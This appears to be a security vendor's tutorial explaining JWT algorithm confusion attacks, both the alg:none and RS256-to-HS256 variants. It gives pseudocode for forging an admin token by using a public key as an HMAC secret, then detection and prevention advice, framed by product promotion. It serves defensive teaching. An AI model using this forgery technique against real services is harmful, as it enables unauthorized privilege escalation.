    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • JWT Algorithm Confusion Attack Explained

    JWT Algorithm Confusion Attack Explained

    A JSON Web Token carries claims that a server trusts, and a signature that is supposed to prove those claims were not edited. A JWT algorithm confusion attack abuses the one field that decides how that signature gets checked. When a server reads the algorithm name out of the token and obeys it, an attacker can pick an algorithm the server never intended, and forge a token the server accepts as genuine.

    The three parts of a JWT

    A signed JWT is three base64url segments joined by dots: header.payload.signature. The header and payload are JSON. The signature is computed over the first two parts. RFC 7519 defines the token shape, and RFC 7515 (JSON Web Signature) defines how the signature is produced and verified.

    # A typical token for the app acme.example (decoded view, not a real secret)
    header  = {"alg": "RS256", "typ": "JWT"}
    payload = {"sub": "1042", "role": "user", "iss": "acme.example", "exp": 1750800000}
    signature = RSASSA-PKCS1-v1_5( base64url(header) + "." + base64url(payload), private_key )
    
    # On the wire it looks like this (truncated, illustrative only)
    eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDQyIiwicm9sZSI6InVzZXIifQ.SflKx...
    

    The role claim here is what an attacker wants to change from user to admin. The signature is the only thing stopping them. So the whole question becomes: how does the server check that signature, and can the attacker influence the answer.

    Why trusting the header alg is the root flaw

    The alg field in the header tells the verifier which algorithm to use. RS256 means an RSA signature, verified with a public key. HS256 means an HMAC, verified with a shared secret. A careless library reads alg from the token and runs whatever it finds. That hands the attacker control of the verification path. CWE-347, improper verification of a cryptographic signature, is the formal name for the resulting bug class.

    The token is asking the server a question, which key should I be checked with, and the server should never let the token answer it.

    The alg:none variant

    RFC 7518 defines a value of none for the algorithm, meaning the token is unsecured and carries no signature at all. It exists for narrow cases where another layer already provides integrity. The problem is a server that still accepts it on a normal authenticated route.

    An attacker sets the header to {"alg":"none"}, edits the payload to grant themselves an admin role, and sends the token with an empty signature segment:

    # alg:none token (header and payload only, third segment is empty)
    {"alg":"none","typ":"JWT"} . {"sub":"1042","role":"admin"} .
    

    If the server skips signature checking because the algorithm says there is nothing to check, the forged claims sail through. The fix is plain: reject none on any route that requires a signed token.

    The RS256 to HS256 key confusion variant

    This is the sharper version of a JWT algorithm confusion attack, and it works even when the server uses real signatures. Picture acme.example issuing RS256 tokens. The server holds an RSA private key for signing and an RSA public key for verifying. The public key is not a secret. It might sit in a JWKS endpoint, in documentation, or in a mobile app bundle.

    Now the attacker forges a token with the header set to {"alg":"HS256"}. HS256 is symmetric: the same key both signs and verifies. The attacker computes an HMAC over their edited header and payload, using the RSA public key string as the HMAC secret. Then they send it.

    If the server reads alg from the token and switches to HS256, it goes looking for the HMAC secret. In a vulnerable setup it reaches for the only key it has on hand, the RSA public key, and uses that exact string as the secret. It recomputes the HMAC over the same bytes, gets the same value the attacker computed, and the signature matches. The token is accepted.

    The trick rests on one fact. The attacker forged a valid signature using only public information, because in this confused path the verification secret is the public key, and the public key is known to everyone. Auth0 and PortSwigger both documented this pattern, and it remains a common finding in token handling code.

    A short example of the shape

    # What the attacker controls: the header and payload
    header  = {"alg":"HS256","typ":"JWT"}
    payload = {"sub":"1042","role":"admin","iss":"acme.example"}
    
    # The forged signature is an HMAC keyed by the RSA PUBLIC key text
    signature = HMAC_SHA256( signing_input, rsa_public_key_pem )
    
    # Vulnerable server: reads alg=HS256 from the token, verifies HMAC
    #   using the same rsa_public_key_pem it normally uses for RSA verify.
    #   The two HMAC values match, so the forged token is trusted.
    

    No private key was ever needed. The attacker at evil.example only needed the public key text that acme.example was already giving out.

    How to spot it

    • Read the header. Decode a real token and look at alg. If the issuer uses RS256 but the server also accepts HS256 or none on the same route, that mismatch is the warning sign. You can inspect a token’s algorithm and claims with our free JWT security inspector, an in browser tool where nothing you paste leaves the page.
    • Try the swaps in a test environment. Against an app you own, change alg to none with an empty signature, and separately try an HS256 token signed with the published public key. If either is accepted, the server is trusting the header.
    • Audit the verify call. Search the code for the verification function. If it derives the algorithm from the token instead of pinning an expected list, that is the bug in source form.

    How to prevent a JWT algorithm confusion attack

    • Pin the expected algorithm on the server. Pass an explicit allowlist such as ["RS256"] to the verify call. Never derive the algorithm from the incoming token.
    • Reject alg:none. Treat none as invalid on every authenticated route. Do not rely on a library default.
    • Use separate keys per algorithm. A key meant for RSA verification should never be reachable as an HMAC secret. Keep symmetric and asymmetric material in different stores so a confused code path cannot grab the wrong one.
    • Verify before reading claims. Check the signature first and only then read role, sub, or anything else. A token that fails verification should be discarded before any claim is trusted.
    • Keep libraries current. Many JWT libraries hardened these defaults years ago. Older versions still ship the foot guns.

    This bug lives next to broader authorization mistakes, so it is worth reading our access control category for the wider pattern. It also pairs well with understanding authentication vs authorization, since a forged token attacks both at once.

    Why this rewards understanding the app

    You do not find a JWT algorithm confusion attack by replaying a fixed payload. You find it by understanding which algorithm the issuer uses, where the public key is exposed, and whether the verify call pins what it expects. The bug is an assumption, that the token would never lie about how to check itself, and the way to find it is to test that assumption directly.

    That is the kind of bug an autonomous researcher that tests an app’s assumptions is built to surface. You can read more about that approach on our about page.

    Frequently asked questions

    What is a JWT algorithm confusion attack?

    It is an attack where a server reads the alg field out of a JSON Web Token and obeys it, letting the attacker pick how the signature is verified. By choosing an algorithm the server never intended, such as none or HS256 instead of RS256, the attacker forges a token the server accepts. The formal bug class is improper verification of a cryptographic signature, described in MITRE CWE 347.

    How does the RS256 to HS256 key confusion attack work?

    A server that should verify RS256 tokens uses an RSA public key, which is not secret. The attacker forges a token with the header set to {"alg":"HS256"} and computes an HMAC over it using that public key text as the secret. If the server reads alg from the token and switches to HS256, it verifies the HMAC with the same public key, the values match, and the forged token is trusted. No private key is ever needed.

    What is the alg:none bug in JWTs?

    RFC 7518 defines an algorithm value of none for unsecured tokens that carry no signature. The bug is a server that still accepts none on a route requiring a signed token. An attacker sets the header to {"alg":"none"}, edits the payload to grant an admin role, and sends an empty signature segment. A server that skips checking because the algorithm says there is nothing to check will trust the forged claims.

    How do you prevent a JWT algorithm confusion attack?

    Pin an explicit algorithm allowlist such as ["RS256"] on the verify call and never derive the algorithm from the incoming token. Reject none on every authenticated route, keep symmetric and asymmetric keys in separate stores so a confused path cannot use a public key as an HMAC secret, and verify the signature before reading any claim. Keeping JWT libraries current also helps, since many hardened these defaults years ago.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: JWT Security Inspector lets you decode a token and check it for the weaknesses described above. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.